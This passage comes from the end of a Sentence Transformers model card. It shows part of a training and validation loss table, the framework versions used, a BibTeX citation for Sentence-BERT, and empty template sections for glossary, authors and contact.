| 0.5319 | 1000 | 0.0141        | 0.0201          |
| 0.5851 | 1100 | 0.0214        | 0.0186          |
| 0.6383 | 1200 | 0.0151        | 0.0192          |
| 0.6915 | 1300 | 0.0219        | 0.0185          |
| 0.7447 | 1400 | 0.0152        | 0.0184          |
| 0.7979 | 1500 | 0.0082        | 0.0192          |
| 0.8511 | 1600 | 0.0128        | 0.0182          |
| 0.9043 | 1700 | 0.0155        | 0.0172          |
| 0.9574 | 1800 | 0.0102        | 0.0174          |


### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1

## Citation

### BibTeX

#### Sentence Transformers and SoftmaxLoss
```bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
```

<!--
## Glossary

*Clearly define terms in order to be accessible across audiences.*
-->

<!--
## Model Card Authors

*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->

<!--
## Model Card Contact

*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->